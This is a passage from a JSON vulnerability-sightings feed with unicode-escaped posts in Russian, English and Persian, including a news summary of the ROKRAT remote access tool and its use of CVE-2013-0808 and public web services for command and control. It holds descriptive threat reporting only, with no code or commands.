\u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u043e\u0441\u043d\u043e\u0432\u0430\u043c \u0418\u0411, \u043f\u043e\u043c\u043e\u0433\u0443\u0442 \u0432\u0430\u043c \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0441\u043f\u043e\u043a\u043e\u0439\u0441\u0442\u0432\u0438\u0435 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c.\n\n\u0412\u0441\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0435\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u0438 \u0431\u0443\u0434\u044c\u0442\u0435 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438! \ud83d\udee1\n\n#blueteam", "creation_timestamp": "2026-08-05T00:00:34.994261Z"}, {"uuid": "dda091f5-1dd8-4c84-aeb1-231c7f87f3c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2010-0806", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mn7mmcjrmx2v", "content": "Oldest CVEs in this batch: CVE-2008-4250 (Microsoft), CVE-2009-1537 (Microsoft), CVE-2009-3459 (Adobe), CVE-2010-0249 (Microsoft), CVE-2010-0806 (Microsoft).", "creation_timestamp": "2026-06-01T08:04:25.744071Z"}, {"uuid": "6366450a-7b0f-4d16-97a0-2add328251a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2013-0808", "type": "published-proof-of-concept", "source": "https://t.me/KaitNews/3867", "content": "\u06cc\u06a9 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062c\u062f\u06cc\u062f\u060c \u0628\u0631\u0627\u06cc \u0627\u0631\u062a\u0628\u0627\u0637\u0627\u062a \u062f\u0633\u062a\u0648\u0631 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u062e\u0648\u062f \u0627\u0632 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u0645\u0639\u0631\u0648\u0641 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f \n\n\ud83d\udc9a\ud83c\uddee\ud83c\uddf7\u2764\ufe0f\ud83c\uddee\ud83c\uddf7\ud83d\udc9b\ud83c\uddee\ud83c\uddf7\u2764\ufe0f\ud83c\uddee\ud83c\uddf7\ud83d\udc9a\n\n\u0628\u0647 \u0646\u0642\u0644 \u0627\u0632 \u0648\u0628\u200c\u06af\u0627\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0641\u0646\u200c\u0622\u0648\u0631\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0648 \u0627\u0631\u062a\u0628\u0627\u0637\u0627\u062a :\n\u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0633\u06cc\u0633\u06a9\u0648 \u062a\u0627\u0644\u0648\u0633 \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f\u0646\u062f \u06cc\u06a9 \u0627\u0628\u0632\u0627\u0631 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 (RAT) \u06a9\u0634\u0641 \u0634\u062f\u0647 \u06a9\u0647 \u0627\u0632 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u0645\u0639\u0631\u0648\u0641 \u0648 \u0634\u0646\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647 \u0628\u0631\u0627\u06cc \u0627\u0631\u062a\u0628\u0627\u0637\u0627\u062a \u062f\u0633\u062a\u0648\u0631 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0648 \u062e\u0627\u0631\u062c \u06a9\u0631\u062f\u0646 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0642\u0631\u0628\u0627\u0646\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f. \n\n\u0627\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0628\u0627 \u0646\u0627\u0645 ROKRAT \u062a\u0648\u0633\u0637 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647 \u0628\u0627 \u0636\u0645\u06cc\u0645\u0647\u200c\u06cc \u0648\u0627\u0698\u0647\u200c\u067e\u0631\u062f\u0627\u0632 Hangul \u062a\u0648\u0632\u06cc\u0639 \u0645\u06cc\u200c\u0634\u0648\u062f \u0648 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062f\u0631 \u06a9\u0631\u0647 \u0631\u0627 \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0627\u0633\u062a \u0686\u0631\u0627 \u06a9\u0647 \u0627\u06cc\u0646 \u0648\u0627\u0698\u0647\u200c\u067e\u0631\u062f\u0627\u0632 \u062f\u0631 \u0627\u06cc\u0646 \u06a9\u0634\u0648\u0631 \u0628\u0647\u200c\u062c\u0627\u06cc \u0622\u0641\u06cc\u0633 \u0627\u0632 \u0645\u062d\u0628\u0648\u0628\u06cc\u062a \u0632\u06cc\u0627\u062f\u06cc \u0628\u0631\u062e\u0648\u0631\u062f\u0627\u0631 \u0627\u0633\u062a. \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u0646\u062f \u0628\u0631\u062e\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0641\u06cc\u0634\u06cc\u0646\u06af \u0627\u0632 \u0637\u0631\u0641 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0645\u06cc\u0632\u0628\u0627\u0646\u06cc Yonsei \u0627\u0631\u0633\u0627\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u06cc\u06a9 \u062f\u0627\u0646\u0634\u06af\u0627\u0647 \u062e\u0635\u0648\u0635\u06cc \u062f\u0631 \u0633\u0626\u0648\u0644 \u0627\u0633\u062a. \u0628\u0631\u0627\u06cc \u0642\u0627\u0646\u0648\u0646\u06cc \u062c\u0644\u0648\u0647 \u062f\u0627\u062f\u0646 \u0627\u06cc\u0646 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u060c \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u062f\u0631 \u0642\u0633\u0645\u062a \u0622\u062f\u0631\u0633 \u0641\u0631\u0633\u062a\u0646\u062f\u0647\u060c \u0627\u0632 \u0622\u062f\u0631\u0633 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647\u200c\u06cc \u0627\u0646\u062c\u0645\u0646 \u062c\u0647\u0627\u0646\u06cc \u06a9\u0631\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f. \n\n\u0627\u06cc\u0646 \u0633\u0646\u062f \u0648\u0627\u0698\u0647\u200c\u067e\u0631\u062f\u0627\u0632\u0650 \u0645\u062e\u0631\u0628\u060c \u062d\u0627\u0648\u06cc \u06cc\u06a9 \u0634\u06cc\u0621 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u200c\u0634\u062f\u0647\u200c\u06cc \u067e\u0633\u062a\u200c\u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0627\u0633\u062a \u06a9\u0647 \u0627\u0632 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0634\u0646\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647 (\u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f3-\u06f0\u06f8\u06f0\u06f8) \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u06a9\u0631\u062f\u0647 \u0648 \u06cc\u06a9 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0631\u0627 \u062f\u0631 \u0642\u0627\u0644\u0628 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc jpg. \u0628\u0627\u0631\u06af\u06cc\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0645\u062d\u0642\u0642\u0627\u0646 \u062a\u0627\u0644\u0648\u0633 \u0645\u06cc\u200c\u06af\u0648\u06cc\u0646\u062f \u0632\u0645\u0627\u0646\u06cc\u200c\u06a9\u0647 \u0627\u06cc\u0646 \u067e\u0631\u0648\u0646\u062f\u0647 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u0648 \u0627\u062c\u0631\u0627 \u0634\u062f\u060c \u0628\u062f\u0627\u0641\u0632\u0627\u0631 ROKRAT \u0628\u0631 \u0631\u0648\u06cc \u0645\u0627\u0634\u06cc\u0646 \u0642\u0631\u0628\u0627\u0646\u06cc \u0646\u0635\u0628 \u0645\u06cc\u200c\u0634\u0648\u062f. \n\n\u0627\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u0645\u0639\u0631\u0648\u0641 \u0645\u0627\u0646\u0646\u062f \u062a\u0648\u06cc\u06cc\u062a\u0631\u060c Yandex \u0648 \u0645\u062f\u06cc\u0627\u0641\u0627\u06cc\u0631 \u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 \u0628\u0633\u062a\u0631 \u062f\u0633\u062a\u0648\u0631 \u0648 \u06a9\u0646\u062a\u0631\u0644\u060c \u0628\u0633\u06cc\u0627\u0631 \u067e\u06cc\u0686\u06cc\u062f\u0647 \u0634\u062f\u0647 \u0648 \u0642\u0627\u0646\u0648\u0646\u06cc \u062c\u0644\u0648\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0646\u0647 \u062a\u0646\u0647\u0627 \u0645\u0633\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u0627\u06cc\u0646 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627 \u062f\u0631 \u06cc\u06a9 \u0634\u0628\u06a9\u0647\u200c\u06cc \u0633\u0627\u0632\u0645\u0627\u0646\u06cc \u0634\u062f\u0646\u06cc \u0646\u06cc\u0633\u062a \u0686\u0631\u0627 \u06a9\u0647 \u0627\u06cc\u0646 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627 \u067e\u0631\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0647\u0633\u062a\u0646\u062f \u0628\u0644\u06a9\u0647 \u0627\u06cc\u0646 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627 \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 HTTPS \u0628\u0648\u062f\u0647 \u0648 \u06a9\u0634\u0641 \u0627\u0644\u06af\u0648 \u0628\u0631\u0627\u06cc \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0622\u0646\u200c\u0647\u0627 \u0628\u0633\u06cc\u0627\u0631 \u0633\u062e\u062a \u0627\u0633\u062a. \n\n\u067e\u0633 \u0627\u0632 \u0627\u0646\u062c\u0627\u0645 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644\u200c\u0647\u0627\u060c \u0645\u062d\u0642\u0642\u0627\u0646 \u062f\u0631\u06cc\u0627\u0641\u062a\u0646\u062f \u06a9\u0647 \u0627\u06cc\u0646 RAT \u0628\u0631 \u0631\u0648\u06cc \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 \u0627\u06cc\u06a9\u0633\u200c\u067e\u06cc \u06a9\u0627\u0631 \u0646\u0645\u06cc\u200c\u06a9\u0646\u062f \u0648 \u062f\u0627\u0631\u0627\u06cc \u0642\u0627\u0628\u0644\u06cc\u062a\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0627\u062c\u0631\u0627 \u062f\u0631 \u0645\u062d\u06cc\u0637 \u062c\u0639\u0628\u0647 \u0634\u0646\u06cc \u0648 \u0648\u062c\u0648\u062f \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631\u0647\u0627\u06cc \u062a\u062d\u0644\u06cc\u0644 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u0628\u0631 \u0631\u0648\u06cc \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0622\u0644\u0648\u062f\u0647 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0627\u06af\u0631 \u0686\u0646\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc\u06cc \u062a\u0634\u062e\u06cc\u0635 \u062f\u0627\u062f\u0647 \u0634\u0648\u062f\u060c \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0628\u0647 \u06cc\u06a9 \u062a\u0627\u0628\u0639 \u062c\u0639\u0644\u06cc \u0633\u0648\u0626\u06cc\u0686 \u06a9\u0631\u062f\u0647 \u0648 \u062a\u0631\u0627\u0641\u06cc\u06a9 HTTP \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f.\n\n\u0628\u0631\u0627\u06cc \u0628\u0631\u0642\u0631\u0627\u0631\u06cc \u0627\u0631\u062a\u0628\u0627\u0637 \u0628\u0627 \u0628\u0633\u062a\u0631\u0647\u0627\u06cc \u062f\u0633\u062a\u0648\u0631 \u0648 \u06a9\u0646\u062a\u0631\u0644\u060c \u0627\u06cc\u0646 RAT \u0627\u0632 \u06f1\u06f2 \u0631\u0645\u0632\u0648\u0627\u0631\u0647\u200c\u06cc \u0647\u0627\u0631\u062f\u06a9\u062f\u0634\u062f\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f. (\u06f7 \u0631\u0645\u0632\u0648\u0627\u0631\u0647 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0648\u0627\u0633\u0637 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0646\u0648\u06cc\u0633\u06cc \u062a\u0648\u06cc\u06cc\u062a\u0631\u060c \u06f4 \u0631\u0645\u0632\u0648\u0627\u0631\u0647 \u0628\u0631\u0627\u06cc Yandex \u0648 \u06cc\u06a9\u06cc \u0628\u0631\u0627\u06cc \u0645\u062f\u06cc\u0627\u0641\u0627\u06cc\u0631) \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0642\u0627\u062f\u0631 \u0627\u0633\u062a \u0627\u0632 \u0631\u0648\u06cc \u0622\u062e\u0631\u06cc\u0646 \u062a\u0648\u06cc\u06cc\u062a \u0627\u0631\u0633\u0627\u0644 \u0634\u062f\u0647 \u062f\u0631 \u062d\u0633\u0627\u0628\u200c\u0647\u0627\u06cc \u0645\u062e\u0631\u0628\u060c \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0631\u0627 \u062e\u0648\u0627\u0646\u062f\u0647 \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u062a\u0648\u06cc\u06cc\u062a \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u062f. \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u0628\u0647 \u0633\u0631\u0642\u062a \u0628\u0631\u062f\u0647 \u0631\u0627 \u0646\u06cc\u0632 \u0628\u0631 \u0631\u0648\u06cc \u0628\u0633\u062a\u0631 \u0627\u064e\u0628\u0631 Yandex \u0648 \u0645\u062f\u06cc\u0627\u0641\u0627\u06cc\u0631 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f. \n\n\u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u06cc\u200c\u06af\u0648\u06cc\u0646\u062f \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0627\u0631\u0627\u06cc \u0642\u0627\u0628\u0644\u06cc\u062a \u06a9\u06cc\u200c\u0644\u0627\u06af\u0631 \u0628\u0648\u062f\u0647 \u0648 \u062f\u0631 \u0628\u0631\u062e\u06cc \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u060c \u0645\u0634\u0627\u0647\u062f\u0647 \u0634\u062f\u0647 \u06a9\u0647 \u0627\u0633\u06a9\u0631\u06cc\u0646\u200c\u0634\u0627\u062a \u0627\u0632 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0642\u0631\u0628\u0627\u0646\u06cc \u062a\u0647\u06cc\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0645\u062d\u0642\u0642\u0627\u0646 \u062a\u0627\u0644\u0648\u0633 \u0645\u06cc\u200c\u06af\u0648\u06cc\u0646\u062f \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u067e\u0634\u062a \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0627\u0631\u0627\u06cc \u0627\u0646\u06af\u06cc\u0632\u0647\u200c\u06cc \u0628\u0627\u0644\u0627\u06cc\u06cc \u0647\u0633\u062a\u0646\u062f \u0648 \u0627\u0632 \u0646\u0648\u0622\u0648\u0631\u06cc\u200c\u0647\u0627\u06cc \u062e\u0648\u0628\u06cc \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0647\u200c\u0627\u0646\u062f. \u0647\u0645\u0686\u0646\u06cc\u0646 \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0627\u0631\u0627\u06cc \u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc \u0639\u062c\u06cc\u0628 \u0648 \u063a\u0631\u06cc\u0628 \u062f\u06cc\u06af\u0631\u06cc \u0646\u06cc\u0632 \u0647\u0633\u062a \u0628\u0647\u200c\u0637\u0648\u0631\u06cc\u200c\u06a9\u0647 \u0627\u06af\u0631 \u062f\u0631 \u06cc\u06a9 \u0645\u062d\u06cc\u0637 \u062c\u0639\u0628\u0647 \u0634\u0646\u06cc \u0642\u0631\u0627\u0631 \u0628\u06af\u06cc\u0631\u062f\u060c \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0647\u0627\u06cc \u0642\u0627\u0646\u0648\u0646\u06cc \u0631\u0627 \u0628\u0647 \u0633\u0645\u062a \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u0645\u0639\u0631\u0648\u0641 \u0645\u0627\u0646\u0646\u062f \u0622\u0645\u0627\u0632\u0648\u0646 \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f.", "creation_timestamp": "2026-08-05T15:00:06.591905Z"}, {"uuid": "98307e66-d643-4d05-b40e-afb140b6ada3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2010-0806", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mnr7vvc4p52j", "content": "Oldest CVEs in this batch: CVE-2008-4250 (Microsoft), CVE-2009-1537 (Microsoft), CVE-2009-3459 (Adobe), CVE-2010-0249 (Microsoft), CVE-2010-0806 (Microsoft).", "creation_timestamp": "2026-06-08T08:05:03.981599Z"}, {"uuid": "f9e054ba-ec37-4fa5-b6be-755619e3d406", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2013-0808", "type": "published-proof-of-concept", "source": "https://t.me/KaitNews/3867", "content": "\u06cc\u06a9 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062c\u062f\u06cc\u062f\u060c \u0628\u0631\u0627\u06cc \u0627\u0631\u062a\u0628\u0627\u0637\u0627\u062a \u062f\u0633\u062a\u0648\u0631 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u062e\u0648\u062f \u0627\u0632 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u0645\u0639\u0631\u0648\u0641 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f \n\n\ud83d\udc9a\ud83c\uddee\ud83c\uddf7\u2764\ufe0f\ud83c\uddee\ud83c\uddf7\ud83d\udc9b\ud83c\uddee\ud83c\uddf7\u2764\ufe0f\ud83c\uddee\ud83c\uddf7\ud83d\udc9a\n\n\u0628\u0647 \u0646\u0642\u0644 \u0627\u0632 \u0648\u0628\u200c\u06af\u0627\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0641\u0646\u200c\u0622\u0648\u0631\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0648 \u0627\u0631\u062a\u0628\u0627\u0637\u0627\u062a :\n\u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0633\u06cc\u0633\u06a9\u0648 \u062a\u0627\u0644\u0648\u0633 \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f\u0646\u062f \u06cc\u06a9 \u0627\u0628\u0632\u0627\u0631 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 (RAT) \u06a9\u0634\u0641 \u0634\u062f\u0647 \u06a9\u0647 \u0627\u0632 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u0645\u0639\u0631\u0648\u0641 \u0648 \u0634\u0646\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647 \u0628\u0631\u0627\u06cc \u0627\u0631\u062a\u0628\u0627\u0637\u0627\u062a \u062f\u0633\u062a\u0648\u0631 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0648 \u062e\u0627\u0631\u062c \u06a9\u0631\u062f\u0646 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0642\u0631\u0628\u0627\u0646\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f. \n\n\u0627\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0628\u0627 \u0646\u0627\u0645 ROKRAT \u062a\u0648\u0633\u0637 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647 \u0628\u0627 \u0636\u0645\u06cc\u0645\u0647\u200c\u06cc \u0648\u0627\u0698\u0647\u200c\u067e\u0631\u062f\u0627\u0632 Hangul \u062a\u0648\u0632\u06cc\u0639 \u0645\u06cc\u200c\u0634\u0648\u062f \u0648 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062f\u0631 \u06a9\u0631\u0647 \u0631\u0627 \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0627\u0633\u062a \u0686\u0631\u0627 \u06a9\u0647 \u0627\u06cc\u0646 \u0648\u0627\u0698\u0647\u200c\u067e\u0631\u062f\u0627\u0632 \u062f\u0631 \u0627\u06cc\u0646 \u06a9\u0634\u0648\u0631 \u0628\u0647\u200c\u062c\u0627\u06cc \u0622\u0641\u06cc\u0633 \u0627\u0632 \u0645\u062d\u0628\u0648\u0628\u06cc\u062a \u0632\u06cc\u0627\u062f\u06cc \u0628\u0631\u062e\u0648\u0631\u062f\u0627\u0631 \u0627\u0633\u062a. \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u0646\u062f \u0628\u0631\u062e\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0641\u06cc\u0634\u06cc\u0646\u06af \u0627\u0632 \u0637\u0631\u0641 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0645\u06cc\u0632\u0628\u0627\u0646\u06cc Yonsei \u0627\u0631\u0633\u0627\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u06cc\u06a9 \u062f\u0627\u0646\u0634\u06af\u0627\u0647 \u062e\u0635\u0648\u0635\u06cc \u062f\u0631 \u0633\u0626\u0648\u0644 \u0627\u0633\u062a. \u0628\u0631\u0627\u06cc \u0642\u0627\u0646\u0648\u0646\u06cc \u062c\u0644\u0648\u0647 \u062f\u0627\u062f\u0646 \u0627\u06cc\u0646 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u060c \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u062f\u0631 \u0642\u0633\u0645\u062a \u0622\u062f\u0631\u0633 \u0641\u0631\u0633\u062a\u0646\u062f\u0647\u060c \u0627\u0632 \u0622\u062f\u0631\u0633 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647\u200c\u06cc \u0627\u0646\u062c\u0645\u0646 \u062c\u0647\u0627\u0646\u06cc \u06a9\u0631\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f. \n\n\u0627\u06cc\u0646 \u0633\u0646\u062f \u0648\u0627\u0698\u0647\u200c\u067e\u0631\u062f\u0627\u0632\u0650 \u0645\u062e\u0631\u0628\u060c \u062d\u0627\u0648\u06cc \u06cc\u06a9 \u0634\u06cc\u0621 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u200c\u0634\u062f\u0647\u200c\u06cc \u067e\u0633\u062a\u200c\u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0627\u0633\u062a \u06a9\u0647 \u0627\u0632 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0634\u0646\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647 (\u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f3-\u06f0\u06f8\u06f0\u06f8) \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u06a9\u0631\u062f\u0647 \u0648 \u06cc\u06a9 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0631\u0627 \u062f\u0631 \u0642\u0627\u0644\u0628 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc jpg. \u0628\u0627\u0631\u06af\u06cc\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0645\u062d\u0642\u0642\u0627\u0646 \u062a\u0627\u0644\u0648\u0633 \u0645\u06cc\u200c\u06af\u0648\u06cc\u0646\u062f \u0632\u0645\u0627\u0646\u06cc\u200c\u06a9\u0647 \u0627\u06cc\u0646 \u067e\u0631\u0648\u0646\u062f\u0647 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u0648 \u0627\u062c\u0631\u0627 \u0634\u062f\u060c \u0628\u062f\u0627\u0641\u0632\u0627\u0631 ROKRAT \u0628\u0631 \u0631\u0648\u06cc \u0645\u0627\u0634\u06cc\u0646 \u0642\u0631\u0628\u0627\u0646\u06cc \u0646\u0635\u0628 \u0645\u06cc\u200c\u0634\u0648\u062f. \n\n\u0627\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u0645\u0639\u0631\u0648\u0641 \u0645\u0627\u0646\u0646\u062f \u062a\u0648\u06cc\u06cc\u062a\u0631\u060c Yandex \u0648 \u0645\u062f\u06cc\u0627\u0641\u0627\u06cc\u0631 \u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 \u0628\u0633\u062a\u0631 \u062f\u0633\u062a\u0648\u0631 \u0648 \u06a9\u0646\u062a\u0631\u0644\u060c \u0628\u0633\u06cc\u0627\u0631 \u067e\u06cc\u0686\u06cc\u062f\u0647 \u0634\u062f\u0647 \u0648 \u0642\u0627\u0646\u0648\u0646\u06cc \u062c\u0644\u0648\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0646\u0647 \u062a\u0646\u0647\u0627 \u0645\u0633\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u0627\u06cc\u0646 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627 \u062f\u0631 \u06cc\u06a9 \u0634\u0628\u06a9\u0647\u200c\u06cc \u0633\u0627\u0632\u0645\u0627\u0646\u06cc \u0634\u062f\u0646\u06cc \u0646\u06cc\u0633\u062a \u0686\u0631\u0627 \u06a9\u0647 \u0627\u06cc\u0646 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627 \u067e\u0631\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0647\u0633\u062a\u0646\u062f \u0628\u0644\u06a9\u0647 \u0627\u06cc\u0646 